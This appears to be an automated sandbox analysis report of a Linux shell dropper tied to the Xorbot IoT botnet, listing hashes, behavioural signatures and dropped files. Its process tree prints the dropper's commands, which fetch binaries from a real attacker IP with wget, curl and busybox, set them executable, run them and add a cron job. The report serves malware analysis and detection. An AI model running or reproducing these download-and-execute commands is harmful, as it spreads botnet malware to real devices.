Analysis

  • max time kernel
    149s
  • max time network
    89s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01-12-2024 12:55

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    471fda7ae47efbd3a7ae13a187d7dd6c

  • SHA1

    48ee8b96d4a32ba6b5cc63e5b87890c51d7312d8

  • SHA256

    4fa56931653e1b3afa0f8f7117bb2e5b1e9cef8bc0eba4e46d11a7c5081cf4c8

  • SHA512

    7f5e3d7bec602fd4d50299d9209e83b16a2d91fae16dc5147688db3f69b77da906a15440eda309cd2c29e5f7d33e0070d5438786a00d5fa52a325b70dd1d236d

  • SSDEEP

    192:wrOt6BXNXDSy0fjsP+yCtFDjHA35+yCtFLjHt2Ot6BhjSy0fjP:wrOt6pNXDSy0fjsP+yCtFDjHA35+yCtR

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:668
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:671
        • /usr/bin/wget
          wget http://216.126.231.240/bins/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
          2⤵
          • Writes file to tmp directory
          PID:674
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:688
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
          2⤵
          • Writes file to tmp directory
          PID:697
        • /bin/chmod
          chmod 777 hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
          2⤵
          • File and Directory Permissions Modification
          PID:701
        • /tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
          ./hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
          2⤵
          • Executes dropped EXE
          PID:702
        • /bin/rm
          rm hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
          2⤵
            PID:704
          • /usr/bin/wget
            wget http://216.126.231.240/bins/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
            2⤵
            • Writes file to tmp directory
            PID:705
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:706
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
            2⤵
            • Writes file to tmp directory
            PID:710
          • /bin/chmod
            chmod 777 KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
            2⤵
            • File and Directory Permissions Modification
            PID:713
          • /tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
            ./KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
            2⤵
            • Executes dropped EXE
            PID:715
          • /bin/rm
            rm KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
            2⤵
              PID:717
            • /usr/bin/wget
              wget http://216.126.231.240/bins/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
              2⤵
              • Writes file to tmp directory
              PID:718
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:725
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
              2⤵
              • Writes file to tmp directory
              PID:732
            • /bin/chmod
              chmod 777 VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
              2⤵
              • File and Directory Permissions Modification
              PID:736
            • /tmp/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
              ./VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:737
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:739
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                    • Reads runtime system information
                    PID:741
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:742
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:743
                • /bin/rm
                  rm VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
                  2⤵
                    PID:747
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/YT7sHEF0o3vniEeMLDQH7lScvZCARcPUYl
                    2⤵
                      PID:751
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/YT7sHEF0o3vniEeMLDQH7lScvZCARcPUYl
                      2⤵
                        PID:754
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/YT7sHEF0o3vniEeMLDQH7lScvZCARcPUYl
                        2⤵
                        • Writes file to tmp directory
                        PID:756
                      • /bin/chmod
                        chmod 777 YT7sHEF0o3vniEeMLDQH7lScvZCARcPUYl
                        2⤵
                        • File and Directory Permissions Modification
                        PID:762
                      • /tmp/YT7sHEF0o3vniEeMLDQH7lScvZCARcPUYl
                        ./YT7sHEF0o3vniEeMLDQH7lScvZCARcPUYl
                        2⤵
                        • Executes dropped EXE
                        PID:763
                      • /bin/rm
                        rm YT7sHEF0o3vniEeMLDQH7lScvZCARcPUYl
                        2⤵
                          PID:766
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/Jm5sAbQAWkjo6OX1dG4AeRbfoRXt9c7Ba0
                          2⤵
                            PID:768
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/Jm5sAbQAWkjo6OX1dG4AeRbfoRXt9c7Ba0
                            2⤵
                              PID:770
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/Jm5sAbQAWkjo6OX1dG4AeRbfoRXt9c7Ba0
                              2⤵
                              • Writes file to tmp directory
                              PID:773
                            • /bin/chmod
                              chmod 777 Jm5sAbQAWkjo6OX1dG4AeRbfoRXt9c7Ba0
                              2⤵
                              • File and Directory Permissions Modification
                              PID:778
                            • /tmp/Jm5sAbQAWkjo6OX1dG4AeRbfoRXt9c7Ba0
                              ./Jm5sAbQAWkjo6OX1dG4AeRbfoRXt9c7Ba0
                              2⤵
                              • Executes dropped EXE
                              PID:780
                            • /bin/rm
                              rm Jm5sAbQAWkjo6OX1dG4AeRbfoRXt9c7Ba0
                              2⤵
                                PID:782
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/GCsG00u3jXS5wauf4N213bFm0RzfhN1gwn
                                2⤵
                                  PID:783
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/GCsG00u3jXS5wauf4N213bFm0RzfhN1gwn
                                  2⤵
                                    PID:785
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/GCsG00u3jXS5wauf4N213bFm0RzfhN1gwn
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:787
                                  • /bin/chmod
                                    chmod 777 GCsG00u3jXS5wauf4N213bFm0RzfhN1gwn
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:789
                                  • /tmp/GCsG00u3jXS5wauf4N213bFm0RzfhN1gwn
                                    ./GCsG00u3jXS5wauf4N213bFm0RzfhN1gwn
                                    2⤵
                                    • Executes dropped EXE
                                    PID:790
                                  • /bin/rm
                                    rm GCsG00u3jXS5wauf4N213bFm0RzfhN1gwn
                                    2⤵
                                      PID:792
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/3LgJvLJPfUD3f72jeqbUnQANCX4I415q78
                                      2⤵
                                        PID:793
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/3LgJvLJPfUD3f72jeqbUnQANCX4I415q78
                                        2⤵
                                          PID:795

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/GCsG00u3jXS5wauf4N213bFm0RzfhN1gwn

                                        Filesize

                                        111KB

                                        MD5

                                        ca897a38f23ec23521ce0b1b83f8422d

                                        SHA1

                                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                        SHA256

                                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                        SHA512

                                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                      • /tmp/Jm5sAbQAWkjo6OX1dG4AeRbfoRXt9c7Ba0

                                        Filesize

                                        111KB

                                        MD5

                                        701e7a55a4f3650f5feee92a9860e5fc

                                        SHA1

                                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                        SHA256

                                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                        SHA512

                                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                      • /tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2

                                        Filesize

                                        112KB

                                        MD5

                                        05d7857dcead18bbd86d2935f591873c

                                        SHA1

                                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                                        SHA256

                                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                        SHA512

                                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                      • /tmp/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d

                                        Filesize

                                        127KB

                                        MD5

                                        89077b7bd4bcafca7713be43635c4862

                                        SHA1

                                        fc02edb8fba29ea8ee99e6157ef8560334530052

                                        SHA256

                                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                        SHA512

                                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                      • /tmp/YT7sHEF0o3vniEeMLDQH7lScvZCARcPUYl

                                        Filesize

                                        151KB

                                        MD5

                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                        SHA1

                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                        SHA256

                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                        SHA512

                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                      • /tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH

                                        Filesize

                                        107KB

                                        MD5

                                        eb9c3a0de91fcf16ba17cb24608df68c

                                        SHA1

                                        09d95a7d70d5e115d103be51edff7c498d272fac

                                        SHA256

                                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                        SHA512

                                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                      • /var/spool/cron/crontabs/tmp.pyH5fw

                                        Filesize

                                        210B

                                        MD5

                                        cb1fd6cacbb13f23c685652d9162633c

                                        SHA1

                                        fbf79bc10c610a98ef07bea2f37ace4c164dcc59

                                        SHA256

                                        cfbd4bc285b0df52262542a43f4febd477c7b39bc23dd21d428d4a9e4168e447

                                        SHA512

                                        33b2370e85d44a0843ec91c63823331132ecce948f97e427212171d3563a7566118313a1eeff664af4c797dd0444d6c9cf49b7e61460d1ec3234ff681f678f59